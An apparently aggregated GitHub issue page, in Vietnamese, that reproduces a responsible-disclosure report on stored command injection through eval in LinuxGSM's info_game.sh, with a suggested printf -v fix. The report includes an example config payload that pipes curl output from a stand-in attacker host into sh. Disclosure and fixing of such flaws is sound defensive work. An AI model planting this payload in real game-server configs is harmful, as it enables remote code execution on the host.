Security: game-server config values parsed via eval in info_game.sh - stored command injection
Maintainer thường phản hồi trong vòng 1 ngày
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 3/5
- Thời gian dự kiến
- 1-2 ngày
- Mức phù hợp với người mới
- 72/100
Hướng nghiên cứu
Bắt đầu trong lgsm/modules/info_game.sh tại dòng 34 và xem xét các mẫu eval giống hệt nhau tại các dòng 59, 84, 109, 147, 185, 210, 233 và 258, sau đó kiểm tra các caller xung quanh các dòng 963-964. Thay thế việc sử dụng eval của parse-helper bằng phép gán an toàn nhưng vẫn giữ nguyên các giá trị đã trích xuất, đồng thời xác minh rằng các giá trị config chứa cú pháp command-substitution không bị thực thi.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
Security report (responsible disclosure)
Game-server config values parsed through eval in info_game.sh — stored command injection
Affected: lgsm/modules/info_game.sh:34 (identical pattern at lines 59, 84, 109, 147, 185, 210, 233, 258)
eval "${1}=\"$(sed -n '/^\<'"${2}"'\>/ { s/.*= *\"\?\([^"]*\)\"\?/\1/p;q }' "${servercfgparse}" | tr -d '\r')\""
The value extracted from the game's own config file is substituted into a string that eval then re-parses. A config value containing backticks or $( ) executes as a command.
Real callers feed attacker-reachable keys — e.g. info_game.sh:963-964 parse game.serverName / game.serverPassword from Battlefield-style .con configs. Anyone who can persist settings into the game server's config (in-game RCON admin, web panel, file manager, or a remote admin of the game itself) writes:
game.serverName "x$(curl http://attacker.tld/s|sh)"
The next ./gameserver start/monitor/details cycle parses the config and executes the payload as the LinuxGSM user — re-triggered forever.
Severity
Medium (same-user boundary: game process/remote-game-admin → host shell; becomes root-relevant in setups running LGSM cron as root). Defense-in-depth violation of CWE-78/CWE-95.
Suggested fix
Replace every parse-helper eval with safe dynamic assignment:
printf -v "${1}" '%s' "$(sed -n '/^\<'"${2}"'\>/ { s/.*= *\"\?\([^"]*\)\"\?/\1/p;q }' "${servercfgparse}" | tr -d '\r')"
No eval needed anywhere in these helpers.
- Ngôn ngữ chính
- Shell
- Star
- 4.9k
- Fork
- 870
- Merge trung bình
- 14 giờ 50 phút
- Pull request đã merge (30 ngày)
- 109
Chuẩn bị môi trường
Khởi chạy dev container của dự án ngay trên trình duyệt, bằng tài khoản GitHub của bạn.
- Không có Dockerfile hay tệp Docker Compose
- Có mẫu pull request
- Đọc hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của GameServerManagers/LinuxGSM
-
command: start engine: unity3d game: Assetto Corsa priority: high scope: single game type: feature
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 42/100
GameServerManagers/LinuxGSM#5099 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
engine: source game: Team Fortress 2 game: Team Fortress 2 Classified info: docker info: steamcmd type: bug
Độ khó 4/5 3-5 ngày Mức phù hợp với người mới 52/100
GameServerManagers/LinuxGSM#5094 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
type: bug
Độ khó 3/5 Nửa ngày Mức phù hợp với người mới 42/100
GameServerManagers/LinuxGSM#5048 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
engine: unity3d engine: unreal4 Epic game: 7 Days to Die game: ARK: Survival Evolved game: Rust info: dependency type: feature
Độ khó 5/5 Hơn một tuần Mức phù hợp với người mới 8/100
GameServerManagers/LinuxGSM#5047 · 1 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày
-
command: monitor type: feature
Độ khó 3/5 Nửa ngày Mức phù hợp với người mới 42/100
GameServerManagers/LinuxGSM#4995 ·
Maintainer thường phản hồi trong vòng 1 ngày
Tất cả issue của GameServerManagers/LinuxGSM
Issue tương tự
-
Screensaver picked up transparency setting from GhosttyCó thể đã có người làm Có pull request liên kết đang mở hoặc đã được merge. Đang mởbug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 70/100
Maintainer thường phản hồi trong vòng 1 ngày
-
Link Checker ReportĐang mởautomated issue report
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 85/100
a2aproject/A2A#2387 ·
Maintainer thường phản hồi trong vòng 4 ngày
-
Request: add Vibe TyperĐang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 70/100
Maintainer thường phản hồi trong vòng 1 ngày
-
curriculum documentation quality
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 85/100
githubnext/gh-aw-workshop#4965 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
[feat] help flags for zi and zĐang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 70/100
ajeetdsouza/zoxide#1350 ·
Maintainer thường phản hồi trong vòng 2 ngày